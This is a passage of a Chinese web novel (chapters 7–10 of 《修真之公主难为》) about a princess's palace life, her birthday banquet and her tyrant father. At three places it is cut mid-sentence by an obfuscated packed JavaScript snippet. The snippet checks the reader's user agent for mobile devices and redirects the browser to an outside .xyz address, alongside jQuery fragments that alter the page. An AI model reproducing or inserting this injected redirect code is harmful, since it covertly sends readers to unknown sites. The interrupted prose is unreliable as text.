《修真之公主难为》 7. 7 经过几天的折磨,天横帝君终于放弃了继续找我的麻烦,我和大白虎同时松了口气。 大白虎最近不敢来找我玩,怕撞上自己那个残暴的主人,它的主人平日心情不好就拿它出气,它的毛都被拔了好几回了,那狗皇帝还克扣它伙食,老虎很忧伤,但它又舍不得我,因为我是整座皇宫唯一会给它加餐的人,它主人就经常饿着它,好好一只老虎过得饥一顿饱一顿的,实在是闻者伤心听者落泪。 它不是没有反抗过,然而平时大白虎都是和我坐一桌的,它甚至能被我的大白猫追得抱头鼠窜,此虎废物程度与我不相上下,不知道我爹养着它干嘛。 我觉得我们皇宫可以开动物园了,不仅有一条黑龙和一只白虎,还有一只肥猫和一条大狗。 肥猫自然是我的大白猫,大狗是虞舟养的狗,此狗有个十分威风的名字,它叫“哮天”。 虞舟某回被虞悯坑得落到了仇家手里,他告诉我当时情况危急他差点就交代在那里了,就在这时一条威风凛凛的大狗从天而降。 “然后呢?”我屏住呼吸问道。 “然后你哥就把他们全都打趴下了。”虞舟摇着折扇笑道。 我:“你刚才在骗我对不对?” 虞舟大笑。 哮天是虞舟在路边捡的,他说既然皇宫都有一条猫了,那再多一条狗刚好凑个双数,哮天的名字是虞舟给它取的,我的大白猫其实也有大名,然而我每回唤它的大名它都不理我,我一气之下再也不叫它大名了。 此猫不仅叛逆还不亲人,实在是让我这个主人头疼。 与它相比哮天就听话多了,除了不会说话它比大白虎还聪明……总感觉和大白虎比有点拉低它的智商了。 总而言之,哮天是一条性格亲人的狗,但不知为何它不太喜欢大白虎,我经常看到大白虎被它追着满皇宫的嗷嗷跑,这过于诡异的场景让我心情复杂。 它怎么能窝囊到既被猫追又被狗追呢。 这日风伯和雨师来找我玩,顺便带来了哮天。 风伯:“四缺一,来不来?” 雨师:“狗皇……陛下不在吧?” 你刚才是不是想骂我爹?!是不是?我听到了! 骂得好。 我们四个围在一张石桌上打麻将,最开始整座皇宫只有虞舟会打,后来他教了我,再后来我教了风伯,再再后来麻将风靡虞都。 风伯:“四条。” 雨师:“碰。” 哮天:“汪。” 我:“胡了!” 哮天:“汪汪!” 我:“我没耍赖,真的胡了,不信你看。” 哮天:“汪汪汪。” 我:“好吧再来一局。” 我们打了一个下午的麻将,我赢得盆满钵满,脚底堆满了灵石,眉眼间喜气洋洋,风伯输掉了最后一个储物袋,雨师把自己的黄金项圈输给了哮天,哮天脖子上戴着雨师的黄金项圈,尾巴上挂着风伯的储物袋,耳朵上戴着我的耳环。 风伯突然叹了口气:“我刚才想到了一个问题。” 我赢了他们这么多有些不好意思,于是配合地问道:“什么?” 风伯手掌撑住下巴摆出了思考者的姿势:“殿下,你说人活着的意义是什么呢?” 我:“好啦我们再来一局就是了,我和哮天会让你们的。” 哮天:“汪。” 风伯:“不,殿下,我们最近真的在思考这个问题。” 雨师:“是的殿下,虞舟殿下的一句话启发了我们。” 我:“哪一句话?” 风伯和雨师合声道:“我思故我在。” 风伯:“不愧是大殿下啊,能说出这么有哲理的句子。” 雨师:“殿下,虞舟殿下口中的‘主观唯心主义’和‘虚无主义’是什么意思?” 我:“……” 哥你怎么又去忽悠人了。 不知道虞舟和他们说了什么,竟然能让两个头脑空空的人开始思考人生的意义。 风伯:“虞舟殿下说我们头顶有三座大山,可是我观遍了皇宫的所有人,没有人头顶有大山啊?” 雨师:“这一定是幻术。” 我:“我觉得你们俩以后还是不要随便和他聊天了。” 风伯和雨师歪头看了我一眼,道:“既然是殿下的命令,那我们会执行的。” 我扶额,觉得有些无奈,风伯和雨师与我自小一起长大,这俩人从小性情就有些怪异,经常能做出一些让人啼笑皆非的事情,风伯曾经背着大白虎绕皇宫走了一圈,把大白虎吓得瘦了十斤,雨师曾经在皇宫门口表演胸口碎大石,被东皇看见罚他倒挂在皇宫门口风吹日晒了半月。 这些年来这俩人干的荒唐事数不胜数,就连父君平日看到他们都是十分轻蔑地称为“那两个傻子”。 我们又打了几盘麻将,打着打着风伯和雨师又开始叹气了。 风伯幽幽道:“殿下,难道我的人生只剩下给陛下刮风了吗?” 雨师附和道:“殿下,难道我的人生只剩下给陛下下雨了吗?” 风伯:“岂有此理。” 雨师:“岂有此理。” 我:“那倒不是……” 风伯:“不行,我们要联合。” 雨师:“不行,我们要反抗。” 我:“其实……” 风伯突然看向我大声道:“推翻暴君统治,世界属于公主!” 雨师面无表情地捧哏道:“推翻暴君统治,世界属于公主!” 我:“……” 哥你到底教了他们什么!! 其实前面有一点我说错了,虞都除了大殿下派和二殿下派外,三殿下派并非无人,我面前的这两人就是仅有的三殿下派。 在虞舟和虞悯斗得你来我往的时候,只有风伯和雨师,十分坚定地认为我未来会继承天横帝君的皇位,甚至在我年幼时数次怂恿我造反,他们比我还想推翻暴君。 我年幼时总是很心塞地看着跟在自己身后的两条尾巴,东皇让他们负责公主的安危,这一点他们做得的确很好,我出门鲜少担心自己的安危,虽然我的这两个小伙伴脑子坑了点,但在虞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532100|186392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都还是很能打的。 为了证明自己的价值,风伯和雨师决定拉着我去小世界一趟。 “为什么要去小世界?”我不解道。 “因为在南境随意呼风唤雨会被东皇大人打死的。”雨师认真地说道。 就这样,我被他们俩拉着去找了一个野生的界门,跨过界门我们抵达了一个灵气稀薄的小世界。 这是个凡人世界,甚至没有修士,我们找了半天才找到一处山神庙,风伯取出一张符咒嘴里念念有词,紧接着面前出现了一个脊背佝偻的老头,老头惶恐道:“不知尊上有何贵干?” 风伯问:“你是山神对吧?此界供奉的是哪位帝君?” 山神额头流下一滴冷汗:“自、自然是四皇之一的天横帝君。” “报上尊名。”雨师道。 山神颤巍巍道:“无极陈宫紫微天横大帝。” 风伯点头:“自己人。” 山神讨好道:“不知诸位是……” 雨师道:“你不认识我们没关系,但你怎能不认识公主殿下?” 山神眼睛瞪大:“公主殿下?” 我尴尬地揪他们俩的衣袖,非常后悔答应陪他们一起出来了:“咳,你们这里有没有什么地方……额……发旱灾了?” 山神“扑通”一声跪在我的面前:“竟是公主殿下亲临!小神惶恐!” 我保持微笑:“嗯,你起来吧。” 山神战战兢兢道:“殿下,可是我风沧界出了何等差错,您和……” “这是风伯,这是雨师。”我好心介绍道。 山神更惶恐了,我觉得风沧界这个名字有些耳熟,但一时想不起来,只好先安抚好这位看上去胆子不是很大的山神:“我们此番前来是……巡察的,此界可有旱灾?风伯和雨师可来协助你等。” 我下意识学着平日东皇的语气来与他对话。 山神拘谨道:“我风沧界灵气稀薄,凡人武学盛行,但封顶后天圆满,几年前江州地域有旱魃出世,我向帝君禀报,不久前上界派出少司命大人前来协助我等,少司命大人除僵后离去,但江州地域已是赤地千里。” 我总算想起为什么这个名字耳熟了,这不就是上回少司命跟我说她出差的那个小世界吗? 风伯和雨师竟然挑中了这个小世界,还真是巧了,这两人正愁找不到人生价值呢。 我清了清嗓子,道:“即刻带我们前去江州。” 山神带着我们缩地成寸,一恍神的功夫就到了江州。 风伯往我身上贴了一道符:“旱魃有尸毒残留,殿下小心。” 雨师抬头望天,此地干燥无雨,因为旱魃的存在已经整整三年没有降雨过了,他抬手,天空瞬间阴云密布,山神敬畏地望着他们二人。 不同于他这种应运而生的自然神灵,风伯与雨师是由南境国运敕封,享香火供奉的强大神祇,他们的力量来源于南境国运,四境之间的战争不仅仅是人与人和帝王与帝王之间的战争,更是国运与信仰之战。 “轰隆隆——” 千里赤地,风雨已至。 8. 8 风伯和雨师的行为还是没有瞒过东皇,第二天我就看到了被倒挂在皇宫门口的二人。 他们像两条被腌干的鱼,有气无力地跟我打招呼。 我:“下次还敢吗?” 雨师眨了眨眼睛,张嘴就要吐出一个“敢”,风伯一巴掌扇在他的脸上,两条鱼互相瞪了对方会,默契地保持了沉默。 “这次又被罚了多久?”我问他们,心想要不要去找东皇为两个小伙伴求情。 “东皇大人让我们反省三天。”雨师答。 “三天后就是我的生辰了。”我说。 雨师张嘴就来:“殿下,我知道风伯给你准备了……” 风伯向雨师发起了攻击,雨师怒而还手,两条鱼在半空大打出手。 我头疼道:“停停停,别打了,再打就去抄绕口令。” 这个威胁很有用,他们很快没有互相伤害了。 我帮他们解开了捆住腿的绳子把他们放了下来,风伯道:“殿下,您偷偷放了我们真的好吗?” 我:“我是寿星诶!这段时间我做什么都会被原谅的,东皇才不会骂我。” 不上学也不会挨骂。 每天睡到自然醒,还没有人逼我修炼。 日子过得像做梦。 风伯和雨师相信了我的说辞,我们三人一狗重新聚在一起,雨师念念不忘自己的黄金项圈,希望能从哮天那里要回来,他跟哮天讲道理,哮天拿屁股对着他,我手里拿着封信小心翼翼地拆开。 信件上有一束梅花,打开之后仿佛能闻到扑鼻的梅香。 风伯:“微生家的小子又给殿下写信了。” 雨师:“哼。” 我:“什么叫微生家的小子,不要学我父君说话,人家有大名的,他叫微生弦。” “信上写了什么?”风伯转移话题。 我眯着眼看了会才道:“微生弦给我寄了生辰贺礼过来,过几日就能到。” 雨师:“呵。” 我把信贴在胸口,感觉脸颊莫名发烫,这些年来我们虽然名义上是未婚夫妻但一直都没有真正见过面,南北两境战事不断是一回事,最重要的是作为昆仑首徒,微生弦比我这位废物公主要忙多了。 他经常给我寄礼物,从一些女孩喜欢的首饰衣裙到北境特产,礼尚往来我也会给他回礼,有时是我做的一些标本有时是我觉得好吃的美食。 我们这样的关系维持了很多年,我有一座专门的宫殿用来存放微生弦给我送的礼物,他在信中会告诉我这些时日去了哪里经历了什么,这些礼物来自哪里,在信件结尾再克制地问我喜欢什么样的礼物。 风伯:“无事献殷勤。” 雨师:“非奸即盗。” 我:“……他是我的未婚夫。” 这两人想什么呢! 风伯和雨师不轻不重地哼了声,他们和虞舟一样也不太喜欢我的未婚夫,我觉得有些纳闷,明明微生弦什么也没做错,但不知为何在南境皇宫很不受欢迎,虞舟不喜欢他就算了,你们两个搞什么。 大司命为了我的生辰给我送来了几套十分、相当之夸张的衣裙,是真的很夸张,上面的黄金装饰简直要闪瞎我的眼,这还没算和它配备的首饰。 是的我们的大司命不仅能行兵打仗还能妙手绣花,这几套衣裙都是他亲手为公主设计的,并亲自监督完工,衣裙完美贴合我的尺寸,我光穿衣服就穿了半个时辰,所谓人靠衣装马靠鞍,我这么一个不起眼的公主穿上这套衣裙竟然也变得夺目了起来。 我抱着镜子左看右看,满意极了。 虽然我们家族臭名昭著,但我们家的整体颜值还是很能打的,就连虞悯那个神经病出门都有人给他扔花呢。 大司命微笑着问我喜欢哪套裙子,我眼神发光地说都喜欢,他笑意深了深,然后把这些裙子全都送给了我。 我有些不太会穿这些衣裙,差点把自己绕晕,大司命让我坐好,他的手掌绕过我的腰身帮我系好了腰带,又帮我撩起了头发耐心地梳了会,我的头发又厚又长,我平日都懒得打理它们让人偶侍女们帮我梳头穿衣的,人偶侍女们十分聪明,它们甚至知道今年虞都流行哪种发型。 我感觉他的手掌无意间抚过我的后颈,带来微妙的痒意,于是不适地动了动脖子,我羡慕地说:“大司命怎么会这么多东西?” 他还会给女孩编头发,还有什么是他不会的? 大司命用木梳梳过我长长的黑发,他垂眸看了我会,笑道:“活得久了,自然什么都会了。” 我嘟囔:“才不对,父君就什么都不会,他还要我哄他睡觉,真是越活越回去了。” 我觉得天横帝君最擅长的应该是杀人,虞悯这一点就很像他,神经病有一个就够了,像他这样的神经病我们家竟然有两个。 大司命轻笑了会,没有接我这个话茬,想来在我爹手底下打工也没那么容易,谁知道哪天就被暴君一个不高兴给砍头了,在我爹手底下打工首先得拥有不低的武力值,因为太弱的会被他打死。 至于我为什么这么多年平安无事,大概暴君还没忘记我是他唯一的女儿吧,把我打死了他就没人陪他睡觉了。 天横帝君经常睡不好觉,他心情不好就杀人,而他经常心情不好。 我因为良好的睡眠质量而被要求午睡要在他眼皮子底下,我有午睡的习惯,本来天横帝君是没有的,但后来莫名其妙的就有了。所以我每天中午都要去他的书房睡觉,他的书房里甚至有我的床和枕头。 我其实很想吐槽,爹你睡不着就吃药,不是看我睡觉能看好的。 可能讳疾忌医是每个昏君的必备技能吧,谁敢劝天横帝君吃药天横帝君就灭谁全家。 除了讳疾忌医还有忠言逆耳,南境朝堂没有言官,因为全都被他杀了,他就是南境的天,他说什么都得听着。 大司命帮我挽好了头发,给我做了一个漂亮的发型,比人偶侍女们做的漂亮多了,再怎么聪明人偶依旧是人偶,当然比不上真人,大司命果然是我们南境朝堂最多才多艺的臣子。 “公主又长大了一岁。”大司命悠悠道。 我兴奋地动来动去,闻言歪头道:“大司命有给我准备礼物吗?” 大司命微微一笑:“自然有。” 我从椅子上跳下来,提着裙摆在他面前转了个圈,迫不及待地给他展示自己的新衣服,他的视线停在我的身上,忽然伸手在我的脸上碰了下,我歪了歪头,他帮我拂去了脸上的一粒灰尘。 我高兴又有些羞涩地说道:“我很喜欢这件裙子。” 决定了到时候过生日就穿这套裙子! 大司命垂眸浅笑:“殿下能喜欢,是臣的荣幸。” 生辰宴会的前一晚,我兴奋地睡不着觉,风伯和雨师偷偷来找我,我听到窗户外面传来“笃笃”声,很有规律的两长一短,这是我们的暗号,我赤着脚走下床推开窗,两道人影挂在窗边。 风伯一脚踹开雨师:“殿下,生辰快乐……我是第一个说这个的人对吧?” 雨师冷笑着道:“呵,毫无意义。” 我:“你们说话就说话,能不能不要挂在我房间外面。” 跟个上吊一样,大半夜的很吓人的好不好。 雨师抢声道:“殿下,快看我的礼物。” 风伯痛失良机心中微憾,但也只能和我一起先看雨师准备的礼物。 这两个人大半夜的不睡觉跑来找我就是为了抢在所有人之前给我送礼物,我欲言又止了会没好意思告诉他们其实他们不是第一个给我送礼物的人,几日前就有人给公主送生辰礼物了。 “这是什么?”我看着雨师给我的……额……这是石头吧,这两个人竟然还没过爱捡石头的年龄吗…… 雨师一本正经道:“此乃浮光界石,是界船的核心,殿下,您之前不是说想有一件可以随意旅行的宝物吗,我特意为您准备了这个,此物能携带一至两位人如界船般穿梭任意两界,您以后可以随意去小世界玩了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532101|186392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >我:“哇。”雨师他竟然还记得我之前随口念叨的话。 雨师送完礼后到了风伯,风伯慢吞吞地拿出一样物品,这是一把折扇,扇身点缀着各种各样花里胡哨的饰件,似乎是他在做扇子时把所有觉得我会喜欢的东西都加了进去。 风伯:“殿下,这是一件法器,既能伤人也能救人,您要谨慎使用。” 风伯送的扇子是一件难得的具有攻击性的法器,他告诉我以后看谁不爽就掏出扇子把人扇飞,我微妙地看了几眼这把扇子,这不是芭蕉扇吗…… 就在这时,窗外又传来“笃笃笃”的声音。 我:“……”怎么回事你们一个个的,都不走门是吧。 我们仨慌张地对视了会,他们两个十分利落地滚到了我的床底下去。 还好我的床够大。 我继续推开窗,外面竟然是虞舟。 “小曦,这么晚了还没睡呢。”虞舟笑眯眯地问。 我:“……”哥你在说话之前先反省一下自己的行为。 虞舟一个翻身进了我的房间,好巧不巧地站在了我的大床前面,我床底下还藏着两个人,我有些紧张,虞舟坐在我旁边,“小孩子不要熬夜,对身体不好。” 我:“哥我已经十六岁了。”马上就十七了。 虞舟:“那也是小孩子,你小时候还是我带大的呢,那时候你尿了我一身……” 我恼羞成怒地扑过去捂他的嘴:“住嘴!不准提!” 虞舟大笑着接住我,抱起我转了个圈,“你小时候还爱举高高,就像现在这样,你爱骑在我的头顶让我带你飞,你一看到虞悯就哭,怎么哄都不行,哈哈哈你是不记得那小子的脸色有多难看。” 我被迫重温了一下“举高高”的感觉,被虞舟放下来时还有些晕乎乎的,虞舟看着我叹气道,“再过一年,你就满十八了。” 我捂着脑袋觉得还是有些晕,直愣愣地看着他。 虞舟手掌微微收紧,明明在笑脸上却没多少笑意,“那昏君给你指的亲事期限也快到了。” 再过一年,我就要和微生弦成婚了。 气氛一下子变得安静下来,我忽然爬到床上去拍了拍他的脑袋,虞舟一愣,我煞有介事道:“哥你是不是舍不得我?” 虞舟笑了笑:“哪个哥哥舍得自己妹妹嫁这么早。” 我感觉床板底下似乎传来什么动静,吓得我连忙掰正虞舟的脑袋:“其实、其实我也舍不得你。” 我还舍不得自己的公主大床和皇宫的美食,父君好像也没告诉我嫁给微生弦后我们住哪里,难道他住我的公主寝宫?堂堂昆仑首徒来了南境沦落至此是不是不太好…… 虞舟眯着眼看了我会突然大笑道:“小曦,生辰快乐,哥给你准备了个礼物,你肯定会喜欢的。” 我:“我能现在看吗?” 虞舟:“明天才能看。” 好吧。 我也很期待他会送我什么,我一直觉得虞舟比我厉害多了,明明同为穿越者,我却只能待在皇宫里当个废物,虞舟已经发明了许多熟悉的东西。 虞都的商铺里有一样东西卖得十分火热,就是大殿下发明的玻璃,他甚至开创了许多新的酒方与香料,在虞都风靡一时,他还建立了四境唯一的一家报刊,收录天下事,戏说人上人。 许多人都好奇虞舟的脑子是怎么长的,他这些年忙里忙外,不停推进新的东西还不忘修行,顺便还要应付虞悯那个神经病,我也很好奇他是怎么平衡的,后来我发现可能有的人就是天赋如此,就像虞悯在杀人这方面就很有天赋。 虽然不知道为什么要在生辰前一晚爬妹妹的窗,但我还是陪他待了好一会儿,后来我实在不放心床底下那两人就谎称自己困了想睡觉,虞舟让我早点睡好迎接明日的公主生辰宴,他一走我就把头探到床底下去。 ……风伯和雨师刚刚在床底打了一架,原因不明,胜负未分。 他们让我做主,我让他们给我念了一晚上的绕口令。 9. 9 第二天我们仨都顶着黑眼圈起床,我一大清早就被东皇叫了起来,他淡淡地扫了眼跟在我身后的风伯和雨师,两人一副正气凛然的样子,丝毫不见心虚,东皇道: “殿下,随我去见陛下吧。” 我打着哈欠点头,被人偶侍女们牵着换了衣服,出来的时候看到风伯和雨师蔫头蔫脑地站在东皇面前,看上去像挨训的学生。 虽然我是生辰宴的主角,但我应该只是起到最后露个面的作用,宴会的大小事宜全都是东皇大人一手操办,我只需要负责吃吃喝喝就好了,顺便认下人,说实话,我到现在都没认齐南境朝堂的人,除了经常跟在我爹身边的云中君与大司命他们之外,其余的人他们可能认识我但我不认识他们。 南境朝堂有许多臣子都是从太渊学院上来的,是的太渊学院是我们南境最好的一所大学,我听说外面的人骂我们南境都是骂我们是“蛮夷”、“不通教化”,其实我很想反驳,我们南境可是有大学城的。 虞舟这些年建了很多学校,天横帝君从不管他,当然也从不支持他,所以这些学校都是他一个人建立的。 ——果然我哥才是这个世界的主角吧! 我大概是这个世界的路人甲,平凡又不起眼,在主角大放光彩的时候给他们捧下场,起到一个烘托气氛的作用。 我被带进大殿的时候里面已经聚满了人,原本空旷的大殿里摆满了长桌,每张长桌上都坐满了人,桌上摆满了美酒与佳肴,台下还有样貌美丽的人偶少女载歌载舞,最上方只坐了一个人,正是天横帝君。 我一来就感觉许多道视线投向我,我拿出当这么多年公主练出来的端庄表情微笑以对。 ——好紧张,怎么这么多人,爹你刚才是不是在嘲笑我? “殿下。”东皇在我耳边唤道,他朝我伸出手,我犹豫了会把手递给他,他牵着我一步一步走向台上。 我坐到了父君的身旁,这里不知什么时候多了一张座椅,看上去是给我准备的,我有些紧张地坐了上去,东皇退了下去。天横帝君懒懒地瞧了我一眼,然后叫我给他倒酒。 我:“……”紧张是不紧张了,但爹今天我可是主角,你这么使唤我是不是不太好。 没人敢反抗暴君,当然也包括我,我忿忿地给他酌满了一杯酒然后重重地放在他的面前。 虞舟被我逗笑了,他和大司命还有云中君、风伯、雨师他们坐在一起,对面是钟离休还有少司命、山鬼、湘君和湘夫人他们,虞悯也和他们坐一桌,他正面无表情地望着我。 台下的大臣们十分违心地夸起了公主,从我的头发丝开始夸,把我夸得上天入地的,夸得我都飘飘然了起来,我听到一旁传来笑声,一扭头看到天横帝君正撑着脑袋笑,还是那种很没形象的大笑,别人夸我一句他就笑一声,攻击性不高嘲讽性拉满。 我:“……”好气哦,但我可是公主,我要保持微笑。 这种宴会其实我参加的也不少,身为南境唯一的公主我就算再怎么不爱社交也不可避免地会参加这样或那样的宴会,虽说南境因为天横帝君崇尚武力和战争,外界骂我们“蛮夷”,但儒道在我们这还是比较盛行的。 父君不喜欢儒道,他哪个道都不喜欢,天横帝君自成一道。 我保持微笑久了脸就有些僵,刚刚剥好一个葡萄手里的葡萄就不翼而飞,我一抬头,看到天横帝君半阖着眼睛一副很不耐烦的样子。 我又剥了个葡萄,趁他不注意赶紧塞嘴里去了,为了防止他跟我抢食我把他面前的一桌菜全都夹了一遍,我面前的碗里堆满了菜,今日我唯一满意的就是公主生辰宴的饭菜了。 真好吃,是哪个厨子做的本公主要赏他。 我夹菜夹得不亦乐乎,无意间抬头看到了张冷冰冰的侧脸,云中君眉头微蹙,他向来不喜欢这种场合,据我观察这个男人可能还有点洁癖,这种人多的场合简直是在折磨他。 他冷哼了一声,我默默地停止了夹菜的动作,拿起酒杯小酌了一口,然而我没料到此酒效果如此立竿见影,几乎在我下肚的瞬间眼前就变得模糊了起来。 一根手指弹了弹我的额头,我呆呆地抬头,看到父君不知何时睁开了眼睛正看着我,他竟然在笑。 我忽然握住他的手指,他饶有兴味地挑了挑眉,我委委屈屈道:“你刚才是不是在骂我?” 天横帝君:“哦?我骂你什么了?” 我更委屈了:“嗝…你骂我废物。” 天横帝君:“这还需要骂你吗?” 我:“呜呜……你就是在骂我。” 天横帝君:“废物。” 我呆了呆,鼻子一酸眼泪就掉下来了,我趴在桌子上开始大哭,被自己亲爹骂哭了。 台下人神情各异,虞舟差点起身,虞悯面无表情,东皇表情不变,大司命保持微笑,云中君低头擦手,风伯和雨师蠢蠢欲动,湘君和湘夫人交头接耳,少司命神情担忧。 席间鸦雀无声,只能听到公主的哭声,最后天横帝君挥了挥手,帝君把公主还没喝完的酒一饮而尽,招了个人偶侍女让它带着醉倒的公主回去。 公主醉眼朦胧地躺在人偶的怀里,两颊酡红,神态娇憨,一派不设防,大殿下脸色有些阴沉,他刚欲开口大司命就起身微笑道:“臣护送公主回去吧。” 就在这时外面传来动静,两道人影走了进来,一人广袖云袍,袖口银线镶云纹,锦缎缠腰,面容秀丽,白发墨瞳,姿态平和淡漠,气息高邈深不可测,正是南境唯一的圣者离殊尊者,同时也是公主的师尊。 圣者身后还跟着一人,几乎在他走进来之时众人皆眼前一亮,此人华冠云发,容姿极盛,似凤凰彩翎,夺目至极,温文尔雅,唇边噙笑,额心一点火焰印记,正是此次西境使者凤皇陛下的独子太子渊。 太子渊微微笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532102|186392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“渊拜见陛下。” 天横帝君拿起一个酒杯把玩,没有搭理他,离殊尊者看了眼人偶怀中的少女,公主睡得不省人事,还没有意识到师尊已经过来了。 大司命与人偶侍女一同带着公主离去,离殊尊者看了几眼就收回视线。 宴会还在继续,即使主角已经离场。 …… 我睡得迷迷糊糊的感觉有人抱着自己,我睁开一条眼缝看到了张僵硬的侧脸,这好像是我的人偶侍女。 嘶…脑袋有点疼…刚刚发生了什么…… “放我下来。” 人偶听话地把我放了下来,我脑袋还晕晕的,自己跑到一处后花园里找了块池塘坐在上面凫水。 “殿下。”身后传来温和的嗓音,大司命走到我身旁将一件外衣披在我的身上,“您不要着凉了。” 我双手撑着池塘的边缘,我还残留着些醉意,此刻智商大概和大白虎处于同一水平线,因此十分任性地说道:“我不要!我要游泳!” 大司命静了静,语调平缓道:“殿下,等您酒醒了再来游吧。” “我现在就要!” 大司命大概没有见过我如此强硬的样子,他似乎在考虑什么,最终说道:“那您游吧,我在一旁看着您。” 我高高兴兴地开始脱裙子,大司命按住我的手,他将一颗“珍珠”挂在我的脖子上,看到我脖子上的骰子时动作顿了顿,我摸了摸“珍珠”反应过来,这是一颗避水珠。 我“扑通”一声跳进水里,厚重的裙子丝毫没有被沾湿,暂时和大白虎一个智商的我一下子就叛逆了,我把避水珠偷偷摘了下来,裙子一下子就湿透了,我猛地潜进水底好半天才浮上岸来跟岸上的大司命挥手,他神情变了变,我正玩水玩得开心着就被人拖到了岸上。 “干什么……”我嘟囔,一抬头发现岸边还多了一道人影,华袍绶带,腰间别着一个云纹玉佩,耳垂上挂着繁复的羽饰,拇指戴着玉扳指,容貌俊美,神态傲慢。 “公主殿下。”他居高临下地望着我。 我甩了甩湿淋淋的头发,好巧不巧地溅了他一身的水,男人的脸色更难看了,他用一种仿佛要杀人的眼神看着我。 “云卿,你好呀~”我用跟大白虎说话的语气跟他说话。 云中君冷声道:“您这是在做什么?” “我在游泳。”我如实跟他说,然后打了个喷嚏,大司命用外衣把我包了起来,男人的声音有些无奈,“殿下,您这样会着凉的。” 我把避水珠还给他,抱着膝盖叹气道,“不要游泳了,不好玩。” 大司命说了声“得罪了”就将赖着不走的我抱了起来,“殿下,我送您回去吧。” 我懵然道:“父君呢?” 云中君拿手帕擦自己的手掌,“陛下自然还在宴上。” 我“哦”了声,眼皮子一闭就睡着了。 10. 10 我是在之后才知道宴会席上发生了什么的,据说我在席上被自己亲爹骂哭了,这还不算,我竟然还一杯倒,宴会还不到一半主角就醉倒了,父君让人带我下去,我一走师尊和西境使者就到了。 我痛苦地捂着脸,太丢人了,喝倒之后竟然被师尊撞见了,虽然师尊脾气好但我也太给他丢脸了吧。 离殊尊者是我的师尊,他是南境唯一的圣者,放眼四境圣者也不到一个巴掌数,各境皆有圣者坐镇,圣者从不轻易插手人间之事,用虞舟的话来说这就相当于“核威慑”,你有我有大家有,所以大家都不能轻举妄动。 南境圣者只有一个徒弟,我七岁那年我身边的人终于确定了我是个废物,寻常的五行术法只要稍微有些悟性的人至多半月就能掌握,但我学了半年依旧一窍不通,甚至气走了几位当世名师。 而与之相反的是虞舟和虞悯他们修为一日千里,各家术法皆炉火纯青,这两人可能还有点较劲的意思,明里暗里针锋相对过无数回。我在太渊学院的时候就听过他们的传说,大殿下和二殿下都是作为学院的标杆来激励下面的学弟学妹的,至于三殿下,无人过问。 所以当离殊尊者收我为徒时惊掉了一地人的下巴。 三殿下——何德何能? 就算是公主也不至于吧?圣者大人又不是没见过公主。 而当事人表示我也很慌,我怎么知道那个白头发的长得很好看的给我吃糖的大哥哥是我们南境唯一的圣者,当时我正一个人在后花园里扑蝴蝶玩,蝴蝶没扑到却扑到了一个人的身上,我抓着他的衣服抬头,看到了双极平和的墨瞳,他蹲在我的面前问我的名字,我老实回答自己叫虞曦。 那人看了我会,然后从袖子里拿出了几颗糖给我,虽然我爹没有教过我外面的东西不要乱吃,但我还是犹豫了会才接过他的糖,这里可是南境皇宫,应该不会有坏人的。 所以我眉眼弯弯地说了一句“谢谢叔叔”。 我听到一旁传来的“噗嗤”声,原来这人身边还跟着一个人,钟离休正看着我憋笑。 后来我才知道我遇到的是我们南境唯一的圣者,再后来我成了他的徒弟。 师尊对我没有别的要求,只是要求我每天随他一起念经,我不知道他要我念的是什么经文,似乎也不像佛家的经文,他对我每天原地踏步的修为也没有什么意见,甚至每回给我讲法我打瞌睡他还会问我是累了吗。 总之堂堂南圣时隔多年出关收的徒弟竟是个废物这件事还是震惊了不少人。 虞舟曾经紧张兮兮地告诉我要是离殊尊者对我有什么不对劲我一定要告诉他。 师尊对我挺好的,我挺喜欢和他待在一起的,和离殊尊者待久了会感觉内心都平静了下来,甚至让我产生了自己也是世外高人的错觉。 我觉得父君很需要和离殊尊者谈谈心,说不定师尊能治治父君这暴君脾气。 当然,以上全是我个人的想法,我是不敢在父君面前这样说的。 公主的生辰宴就这样过去了,我也顺利长大了一岁,日子就这样平平淡淡的过着,我收到了微生弦的礼物,是一只罕见的雪狼幼崽,据说是北境昆仑雪山特有的一种灵兽,这下我们皇宫真成动物园了。 雪狼模样可爱脾气又好,还爱黏着我,很快成为了我的新欢,惹得大白猫极为不快,我几次看到它偷偷欺负雪狼,仗着雪狼现在还是只小狼就骑在它的头顶,实在是无法无天。 这绝对不是我惯出来的。 我和风伯还有雨师他们在皇宫外的一处山里踏青,冬天已经过去了,山上开了许多五颜六色的花,流水淙淙,偶尔还能看见几只灵兽跑去。 春天最适合野外踏青了! 我架起了一个烧烤架,这是虞舟送我的生日礼物,他实在是太了解自己的妹妹了,知道我在吃喝一道上远比修炼上心,所以特意为我打造了这个全自动烧烤架,还贴心地附送了许多他自己做出来的调料,经我的实验和上辈子的味道一样。 